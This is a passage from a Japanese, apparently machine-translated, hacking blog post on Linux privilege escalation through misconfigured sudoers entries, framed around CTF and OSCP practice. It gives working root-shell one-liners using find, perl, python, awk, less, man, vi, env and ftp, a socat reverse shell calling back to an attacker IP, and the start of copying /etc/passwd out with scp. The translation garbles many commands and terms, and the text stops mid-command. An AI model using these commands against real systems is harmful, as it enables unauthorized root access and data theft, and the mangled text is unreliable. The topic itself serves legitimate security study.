Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863570302

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

以前の記事では、suidバイナリファイルおよび /etc /etcwdファイルをLinux Permissions Enhancement Techniqueに使用する方法について説明しました。今日、別の「sudoersファイルを使用したLinux許可プロンプトのヒント」をリリースしました。 CTFの課題を解決するとき、許可のエスカレーションのために、sudo -lコマンドを実行して、任意のユーザーのルートアクセス許可を常に確認します。許可の強化のためにこの手法を適用した以前の記事を読むことができます。

0x01 sudoer basics

1。基本概念

Linux /unixでは、 /etcディレクトリの下のsudoersファイルはsudo許可を持つ構成ファイルです。私たちは皆、Sudoコマンドの力を知っています。Sudoという言葉はスーパーユーザーの許可を表しています。 Sudoersファイルは、ルート特権を持つユーザーとグループを保存するファイルであり、ルートまたは他のユーザーとして一部またはすべてのコマンドを実行します。以下の写真をご覧ください:

vlvu2iksaz48214.png

sudoでコマンドを実行するときは、ルート許可を実行する必要があり、LinuxはSudoersファイルの特定のユーザー名をチェックします。また、特定のユーザー名がSudoersファイルリストにあるかどうか、そうでない場合は、sudoコマンドを使用してコマンドまたはプログラムを実行することはできません。 Sudo許可によると、ルートユーザーはすべての端末から実行し、すべてのユーザーとして行動し、すべてのグループとして機能し、Allコマンドを実行できます。

2.Sudoerファイルの構文

(rootユーザー)が特定のユーザーにsudo許可を付与したい場合、bisudoコマンドを入力して、編集用のsudoersファイルを開きます。ユーザー許可仕様には、デフォルトのルート許可が表示されます。「root all=(all:all)all」が表示されますが、実際には、以下の図に示すように、オプションであるタグオプションも提供されます。

次の例を考慮して、ユーザーRaazにsudoアクセス許可を割り当て、raazが端末にアクセスし、ルートアクセス許可を使用してコピーコマンドを実行します。ここにはパスワードタグがありません。つまり、ユーザーにパスワードが要求されないことを意味します。

注:(すべて:すべて)は(すべて)として表現できます

代わりに(root)を見つけた場合(すべて:すべて)、それはユーザーがrootとしてコマンドを実行できることを意味します

ユーザーやグループが言及されていない場合、sudoはデフォルトでrootユーザーになります

nv0bwz4hz0l8215.png

実際の状況をより深く理解しましょう。まず、Sudoグループに属さないユーザーを作成します。ここでは、1002のUIDと1002のGIDを持っているユーザー「Raaz」を追加しました。

nwalsntafse8217.png

0x02ルート許可を割り当てるメソッド

1。ルート許可を割り当てる従来の方法

システム管理者がユーザーRAAZにすべてのアクセス許可を与えたい場合、以下の手順に従ってユーザーの許可仕様カテゴリの下にユーザーRAAZを追加できます。

Visudo

raaz all=(all:all)すべて

または

raazすべて=(すべて)すべて

c4tm0zsu3pz8219.png

一方、

(1)ルートアクセスを生成

攻撃ホストを起動し、最初にターゲットシステムを攻撃し、次に特権エスカレーション段階に入ります。 SSHを介して被害者のホストに正常にログインし、現在のユーザーのsudo許可を知り、次のコマンドを実行したいとします

sudo -l

従来の方法では、PassWDオプションは、上記のコマンドの実行中にユーザー認証を有効にし、NOPASSWDオプションを使用して無効にすることができます。強調表示されたテキストは、現在のユーザーが実行する権限があるというすべてのコマンドを示します。したがって、コマンドを実行することにより、ルートアクセスを取得します。

sudo su

id

za030f1imwa8221.png

2。ルート権限を割り当てるためのデフォルトの方法

システム管理者がユーザーRAAZにすべてのコマンドとプログラムを実行するためにルートアクセス許可を付与したい場合、以下の手順に従ってユーザー許可仕様カテゴリの下にユーザーRAAZを追加できます。

Visudo

raaz all=all

または

raaz all=(root)all

デフォルトのPassWDオプションは、認証のためにここでも有効になっています。

j0ziwxoxq3i8225.png

(1)。ルートアクセスを生成

ターゲットシステムをもう一度攻撃し、上記の手順に従って許可エスカレーション段階を入力し、次のコマンドを実行してsudoユーザーリストを表示します

sudo -l

ここでは、ユーザーRaazがすべてのコマンドをrootとして実行できることを意味する強調表示されたテキストを見ることができます。したがって、より多くのダウンリンクステップを実行することでルートアクセスを実装できます

Sudosu

または

sudobash

注:SUDO-Lコマンドを実行する場合、上記の両方のメソッドは、PassWDオプションがデフォルトで有効になっているため、ユーザーパスワードを認証する必要があります。

mfr201pkxms8228.png

0x03パワーアップスキル

1。バイナリコマンドのルートアクセス許可を許可します

ユーザーが、/bin/cp、/bin/cat、または/usr/bin/findなどの特定のディレクトリ内のファイルまたはコマンドを実行する権利を持つ場合があります。このタイプの許可は、ルート許可の特権エスカレーションにつながります。これは、次のステップで達成できます。

raaz all=(root)nopasswd:/usr/bin/find

注:ここでのnopasswdオプションは、sudo -lコマンドを実行するときにパスワードが認証を要求されないことを意味します。

2ffd2ol1ycf8229.png

(1)findコマンドを使用してルートアクセスを生成

被害者のシステムを再度攻撃し、特権エスカレーションフェーズに入ります。次のコマンドを実行して、sudoユーザーリストを表示します。

sudo-l

この時点で、強調表示されたテキストは、ユーザーRAAZがFindコマンドを介して任意のコマンドを実行できることを意味することに気付くことができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudofind/home-exec/bin/bash \;

id

ttshrpboy128231.png

2。バイナリプログラムのルート許可を許可

時々、管理者は特定のユーザーに詳細なユーザーに、ユーザーが /etc /passwdなどのシステムファイルを編集できるバイナリプログラムを実行するために、ユーザーに承認された場合、ユーザーに承認された場合、一部のバイナリプログラムは特権エスカレートにつながる可能性があります。以下のコマンドでは、rootユーザーとして実行できる次のプログラムにsudo許可を割り当てます。 raaz all=(root)nopasswd:/usr/bin/perl、/usr/bin/python、/usr/bin/less、/usr/bin/awk、/usr/bin/man、/usr/bin/vi

woeln010ng18232.png

(1)Perl単一コマンドを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

これで、ユーザーRaazがPerl言語プログラムまたはスクリプトをルートとして実行できることを示す強調表示されたテキストを見ることができます。したがって、Perlシングルコマンドを実行することにより、ルートアクセスを取得します。

sudo perl -e 'exec'/bin/bash ';'

id

e1ewojyl3b28233.png

(2)Pythonシングルコマンドを使用してシェルを生成

ターゲットシステムを攻撃した後、上記のように特権エスカレーションフェーズに入り、次のコマンドを実行してSUDOユーザーリストを表示します

sudo -l

この時点で、ユーザーRaazがPython言語プログラムまたはスクリプトをルートとして実行できることを示す強調表示されたテキストを見ることができます。したがって、単一のPythonコマンドを実行することにより、ルートアクセスを取得します。

sudo python -c 'インポートpty; pty.spawn('/bin/bash ')'

id

xlw1uqwtixo8235.png

(3)少ないコマンドを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

tyme3zoev3m8236.png

ここでは、ユーザーRaazがLootとしてLess Commandを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

Sudo Less /etc /hosts

rjstdj1urwo8237.png

編集用に要求されたシステムファイルを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。

次の図に示すように、ルートアクセスが得られます。

(4)awk単一コマンドを使用してシェルを生成します

被害者システムを攻撃した後、ターゲットシステムは上記のように特権エスカレーション段階に入り、次のコマンドを実行してSUDOユーザーリストを表示します

sudo -l

この段階では、ユーザーRaazがawkコマンドをrootとして実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudo awk 'begin {system('/bin/bash ')}'

id

5itin0bqpx38238.png

(5)Manコマンドを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

ここでは、ユーザーRaazがrootユーザーとしてManコマンドを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudo man

jff1d5qjzkz8239.png

編集用に要求されたシステムファイルを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。

vspgd5gyiic8240.png

次の図に示すように、ルートアクセスが得られます。

5tfswerhal38241.png

(6)VIエディターを使用してシェルを生成

特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。

sudo -l

ここでは、ユーザーRaazがRootユーザーとしてVIコマンドを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。

sudo vi

bvpkvnzvltj8242.png

したがって、編集のためにVIエディターを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。上記のようなルートアクセス許可を取得するには、コマンド以下を使用できます。

s1l3bhsfayp8243.png

次の図に示すように、ルートアクセスが得られます。

id

おっと

注:NANO、MAN、VI、およびMan's Sudoへの許可は、ユーザーがシステムファイルを編集し、許可エスカレーションにつながるため、非常に危険です。

lyio50p0sg58244.png

3

システムまたはプログラムの呼び出しについては、あらゆる種類のスクリプト(BASH、PHP、Python、またはC言語スクリプト)の許可を昇格させる最大の機会があります。実行時にバッシュシェルを提供するスクリプトにsudo許可をsudo許可を与えたいと仮定します。

たとえば、実行時にルートコマンド端子を提供するスクリプトがいくつかあります。以下の図では、さまざまなプログラミング言語を使用してBIN/スクリプトに3つのファイルすべてを保存して、バッシュシェルを取得する3つのプログラムを作成したことがわかります。 3つのファイルは、asroot.py、asroot.sh、asroot.c(コンパイルファイルシェル)です。

注:OSCPの課題を解決する場合、一部のスクリプトは著者によって隠され、カーネルまたはルートシェルを活用するために使用され、特定のユーザーがスクリプトを実行するためにsudo許可を設定することがわかります。

3e4ktzwdz4m8245.png

次のコマンドの助けを借りて、sudoersファイルを編集して、Raazが上記のすべてのスクリプトをルートユーザーとして実行できるようにします。

raaz all=(root)nopasswd:/bin/script/asroot.sh、/bin/script/asroot.py、/bin/script/shell

4e3mv1anp1w8246.png

(1)bashスクリプトを実行してルートシェルを生成

SUDOユーザーリストを表示するには、次の許可標高コマンドを実行します。

sudo -l

強調表示されたテキストは、ユーザーRaazがrootユーザーとしてasroot.shを実行できることを示しています。したがって、asroot.shスクリプトを実行することにより、ルートアクセスを取得します。

sudo /bin/script/asroot.sh

id

nv1vakfefvi8247.png

(2)pythonスクリプトを実行してルートシェルを生成

次の許可標高コマンドを実行して、sudoユーザーリストを表示します

sudo -l

この時点で、強調表示されたテキストは、ユーザーRaazがrootユーザーとしてasroot.pyを実行できることを示しています。したがって、次のスクリプトを実行することにより、ルートアクセスを取得しました。

sudo /bin/script/asroot.py

id

bzc33mxba038248.png

(3)Cスクリプトを実行してルートシェルを生成

ターゲットシステムを攻撃した後、次の許可エスカレーションコマンドを実行してSUDOユーザーリストを表示します。

sudo -l

ここでは、ユーザーRaazがroot(asroot.cコンパイルされたファイル)としてシェルを実行できることを示す強調表示されたテキストを見ることができます。そのため、次のシェルを実行することでルートアクセスを獲得します。

sudo/bin/script/shell

id

az3dspdggxt8249.png

4。他のプログラムにsudo許可を許可します

上記のように、sudo許可を持ついくつかのバイナリプログラムは、ルートアクセスを得るのに役立ちます。しかし、それに加えて、FTPやSOCATなどのsudo許可がある場合、ルートアクセスで存続できるアプリケーションがいくつかあります。以下のコマンドでは、rootユーザーとして実行できる次のプログラムにsudo許可を割り当てます。

raaz all=(all)nopasswd:/usr/bin/env、/usr/bin/ftp、/usr/bin/scp、/usr/bin/socp、/usr/bin/socat

llctkmohqz18250.png

(1)環境を使用してシェルを生成

許可エスカレーションフェーズでは、次のコマンドを実行してSUDOユーザーリストを表示します。

sudo -l

ご覧のとおり、RaazにはENV、FTP、SCP、SOCATへのSUDO許可があります。ルートアクセスを1つずつ紹介してみましょう。

sudo env /bin /bash

おっと

vrezzjkwrau8251.png

(2)FTPを使用してシェルを生成

次のコマンドを使用して、FTP経由でルートアクセスを取得してみましょう。

sudo ftp

! /bin/bash

おっと

または

! /bin/sh

id

おっと

zuwdwr4dvwa8252.png

(3)socat

を使用してシェルを生成します

ここで、SOCATを介して次のコマンドの助けを借りてルートアクセスを取得してみましょう。攻撃者の端末で次のコマンドを実行して、リスナーが逆の接続を作成できるようにします。

socat file:`tty`、raw、echo=0 tcp-listen:1234

次に、被害者のホストで次のコマンドを実行すると、攻撃者のコンピューターにルートアクセスが表示されます。

sudo socat exec:'sh -li '、pty、stderr、setsid、sigint、SANE TCP:192.168.1.105:1234

kda0p31ixhd8253.png

o4zfeni0f1l8254.png

(4)SCP

を介してシェルを生成します

私たちが知っているように、SUDO許可はSCPで利用可能ですが、地元のホストとリモートホストの間でファイルを安全に移動する方法であるため、上記のようにBash Shellディレクトリを取得することはできません。したがって、それを使用して、/etc/passwdや/etc/etc/shadowファイルなどの読み取り/書き込み操作を実行するためにルートアクセスを必要とするシステムファイルを転送できます。

構文:scp sourcefile user@host:〜/ディレクトリパス

sudo scp /etc /passw